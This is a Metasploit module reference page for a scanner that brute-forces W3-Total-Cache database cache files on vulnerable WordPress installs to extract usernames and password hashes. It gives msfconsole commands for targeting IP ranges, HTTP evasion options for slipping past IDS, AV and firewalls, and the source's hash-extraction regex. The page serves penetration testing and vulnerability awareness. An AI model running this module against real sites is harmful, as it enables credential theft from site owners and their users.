WordPress W3-Total-Cache Plugin 0.9.2.4 (or before) Username and Hash Extract - Metasploit
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Module Overview
Name: WordPress W3-Total-Cache Plugin 0.9.2.4 (or before) Username and Hash Extract
Module: auxiliary/gather/wp_w3_total_cache_hash_extract
Source code: modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb
Disclosure date: -
Last modification time: 2018-09-15 18:54:45 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -
The W3-Total-Cache Wordpress Plugin <= 0.9.2.4 can cache database statements and its results in files for fast access. Version 0.9.2.4 has been fixed afterwards so it can be vulnerable. These cache files are in the webroot of the Wordpress installation and can be downloaded if the name is guessed. This module tries to locate them with brute force in order to find usernames and password hashes in these files. W3 Total Cache must be configured with Database Cache enabled and Database Cache Method set to Disk to be vulnerable
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/gather/wp_w3_total_cache_hash_extract
msf auxiliary(wp_w3_total_cache_hash_extract) > show options
... show and set options ...
msf auxiliary(wp_w3_total_cache_hash_extract) > set RHOSTS ip-range
msf auxiliary(wp_w3_total_cache_hash_extract) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(wp_w3_total_cache_hash_extract) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(wp_w3_total_cache_hash_extract) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(wp_w3_total_cache_hash_extract) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
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Msfconsole Usage
Here is how the gather/wp_w3_total_cache_hash_extract auxiliary module looks in the msfconsole:
msf6 > use auxiliary/gather/wp_w3_total_cache_hash_extract
msf6 auxiliary(gather/wp_w3_total_cache_hash_extract) > show info
Name: WordPress W3-Total-Cache Plugin 0.9.2.4 (or before) Username and Hash Extract
Module: auxiliary/gather/wp_w3_total_cache_hash_extract
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
Christian Mehlmauer <[email protected]>
Jason A. Donenfeld <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SITE_ITERATIONS 25 yes Number of sites to iterate
SSL false no Negotiate SSL/TLS for outgoing connections
TABLE_PREFIX wp_ yes Wordpress table prefix
TARGETURI / yes The base path to the wordpress application
THREADS 1 yes The number of concurrent threads (max one per host)
USER_ITERATIONS 25 yes Number of users to iterate
VHOST no HTTP server virtual host
Description:
The W3-Total-Cache Wordpress Plugin <= 0.9.2.4 can cache database
statements and its results in files for fast access. Version 0.9.2.4
has been fixed afterwards so it can be vulnerable. These cache files
are in the webroot of the Wordpress installation and can be
downloaded if the name is guessed. This module tries to locate them
with brute force in order to find usernames and password hashes in
these files. W3 Total Cache must be configured with Database Cache
enabled and Database Cache Method set to Disk to be vulnerable
References:
OSVDB (88744)
https://seclists.org/fulldisclosure/2012/Dec/242
https://wpscan.com/vulnerability/6621
Module Options
This is a complete list of options available in the gather/wp_w3_total_cache_hash_extract auxiliary module:
msf6 auxiliary(gather/wp_w3_total_cache_hash_extract) > show options
Module options (auxiliary/gather/wp_w3_total_cache_hash_extract):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SITE_ITERATIONS 25 yes Number of sites to iterate
SSL false no Negotiate SSL/TLS for outgoing connections
TABLE_PREFIX wp_ yes Wordpress table prefix
TARGETURI / yes The base path to the wordpress application
THREADS 1 yes The number of concurrent threads (max one per host)
USER_ITERATIONS 25 yes Number of users to iterate
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the gather/wp_w3_total_cache_hash_extract auxiliary module:
msf6 auxiliary(gather/wp_w3_total_cache_hash_extract) > show advanced
Module advanced options (auxiliary/gather/wp_w3_total_cache_hash_extract):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WPCHECK true yes Check if the website is a valid WordPress install
WPCONTENTDIR wp-content yes The name of the wp-content directory
Auxiliary Actions
This is a list of all auxiliary actions that the gather/wp_w3_total_cache_hash_extract module can do:
msf6 auxiliary(gather/wp_w3_total_cache_hash_extract) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the gather/wp_w3_total_cache_hash_extract auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(gather/wp_w3_total_cache_hash_extract) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Unable to connect to <USER_URL>
Here is a relevant code snippet related to the "Unable to connect to <USER_URL>" error message:
64: 'author' => user_id.to_s
65: }
66: )
67:
68: rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
69: vprint_error("Unable to connect to #{user_url}")
70: rescue ::Timeout::Error, ::Errno::EPIPE
71: vprint_error("Unable to connect to #{user_url}")
72: end
73:
74: nil
Unable to connect to <USER_URL>
Here is a relevant code snippet related to the "Unable to connect to <USER_URL>" error message:
66: )
67:
68: rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
69: vprint_error("Unable to connect to #{user_url}")
70: rescue ::Timeout::Error, ::Errno::EPIPE
71: vprint_error("Unable to connect to #{user_url}")
72: end
73:
74: nil
75: end
76:
Unable to connect to <URL>
Here is a relevant code snippet related to the "Unable to connect to <URL>" error message:
125:
126: result = nil
127: begin
128: result = send_request_cgi('uri' => url, 'method' => 'GET')
129: rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
130: print_error("Unable to connect to #{url}")
131: break
132: rescue ::Timeout::Error, ::Errno::EPIPE
133: print_error("Unable to connect to #{url}")
134: break
135: end
Unable to connect to <URL>
Here is a relevant code snippet related to the "Unable to connect to <URL>" error message:
128: result = send_request_cgi('uri' => url, 'method' => 'GET')
129: rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
130: print_error("Unable to connect to #{url}")
131: break
132: rescue ::Timeout::Error, ::Errno::EPIPE
133: print_error("Unable to connect to #{url}")
134: break
135: end
136:
137: if result.nil? || result.body.nil?
138: print_error('No response received')
No response received
Here is a relevant code snippet related to the "No response received" error message:
133: print_error("Unable to connect to #{url}")
134: break
135: end
136:
137: if result.nil? || result.body.nil?
138: print_error('No response received')
139: break
140: end
141:
142: match = result.body.scan(/.*"user_login";s:[0-9]+:"([^"]*)";s:[0-9]+:"user_pass";s:[0-9]+:"([^"]*)".*/)[0]
143: unless match.nil?
No users found :(
Here is a relevant code snippet related to the "No users found :(" error message:
150: user: match[0],
151: password: match[1],
152: proof: result.body
153: )
154: users_found = true
155: end
156: end
157: end
158: print_error('No users found :(') unless users_found
159: end
160: end
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Related Pull Requests
- #10649 Merged Pull Request: Fix http://seclists.org links to https://
- #8888 Merged Pull Request: spelling/grammar fixes part 1
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6270 Merged Pull Request: Bring module title in line with other WP modules.
- #6089 Merged Pull Request: Fix HTTP mixins namespaces
- #5935 Merged Pull Request: My final round of updating modules to use the metasploit-credential API
- #3941 Merged Pull Request: Added wpvulndb links
- #3581 Merged Pull Request: Updated W3 Total Cache Hash extract module
- #3447 Merged Pull Request: Use correct variable name
- #3216 Merged Pull Request: Update @Meatballs1 and @FireFart in authors.rb
- #2525 Merged Pull Request: Change module boilerplate
- #1417 Merged Pull Request: Improves normalize_uri(), and updates modules that are using it
- #1397 Merged Pull Request: normalize_uri fixes (double slashes and trailing slash)
- #1300 Merged Pull Request: W3 Total Cache Wordpress Plugin Username/Passwordhash extract
References
- CVE: Not available
- OSVDB (88744)
- https://seclists.org/fulldisclosure/2012/Dec/242
- WPVDB-6621
See Also
Check also the following modules related to this module:
- auxiliary/gather/wp_all_in_one_migration_export
- auxiliary/gather/wp_ultimate_csv_importer_user_extract
- auxiliary/admin/http/wp_automatic_plugin_privesc
- auxiliary/admin/http/wp_custom_contact_forms
- auxiliary/admin/http/wp_easycart_privilege_escalation
- auxiliary/admin/http/wp_gdpr_compliance_privesc
- auxiliary/admin/http/wp_google_maps_sqli
- auxiliary/admin/http/wp_masterstudy_privesc
- auxiliary/admin/http/wp_symposium_sql_injection
- auxiliary/admin/http/wp_wplms_privilege_escalation
- auxiliary/scanner/http/wp_abandoned_cart_sqli
- auxiliary/scanner/http/wp_arbitrary_file_deletion
- auxiliary/scanner/http/wp_bulletproofsecurity_backups
- auxiliary/scanner/http/wp_chopslider_id_sqli
- auxiliary/scanner/http/wp_contus_video_gallery_sqli
- auxiliary/scanner/http/wp_dukapress_file_read
- auxiliary/scanner/http/wp_duplicator_file_read
- auxiliary/scanner/http/wp_easy_wp_smtp
- auxiliary/scanner/http/wp_email_sub_news_sqli
- auxiliary/scanner/http/wp_gimedia_library_file_read
- auxiliary/scanner/http/wp_learnpress_sqli
- auxiliary/scanner/http/wp_loginizer_log_sqli
- auxiliary/scanner/http/wp_mobileedition_file_read
- auxiliary/scanner/http/wp_mobile_pack_info_disclosure
- auxiliary/scanner/http/wp_modern_events_calendar_sqli
- auxiliary/scanner/http/wp_nextgen_galley_file_read
- auxiliary/scanner/http/wp_registrationmagic_sqli
- auxiliary/scanner/http/wp_secure_copy_content_protection_sqli
- auxiliary/scanner/http/wp_simple_backup_file_read
- auxiliary/scanner/http/wp_subscribe_comments_file_read
- auxiliary/scanner/http/wp_total_upkeep_downloader
- auxiliary/scanner/http/wp_wps_hide_login_revealer
- auxiliary/gather/alienvault_newpolicyform_sqli
Authors
- Christian Mehlmauer
- Jason A. Donenfeld <Jason[at]zx2c4.com>
Version
This page has been produced using Metasploit Framework version 6.1.36-dev. For more modules, visit the Metasploit Module Library.
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